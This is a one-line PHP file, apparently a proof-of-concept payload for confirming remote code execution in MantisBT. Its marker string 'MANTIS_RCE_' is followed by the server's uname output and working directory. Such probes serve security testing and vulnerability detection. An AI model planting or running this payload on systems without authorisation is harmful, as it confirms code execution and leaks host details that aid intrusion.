<?php echo "MANTIS_RCE_" . php_uname() . "_" . getcwd(); ?>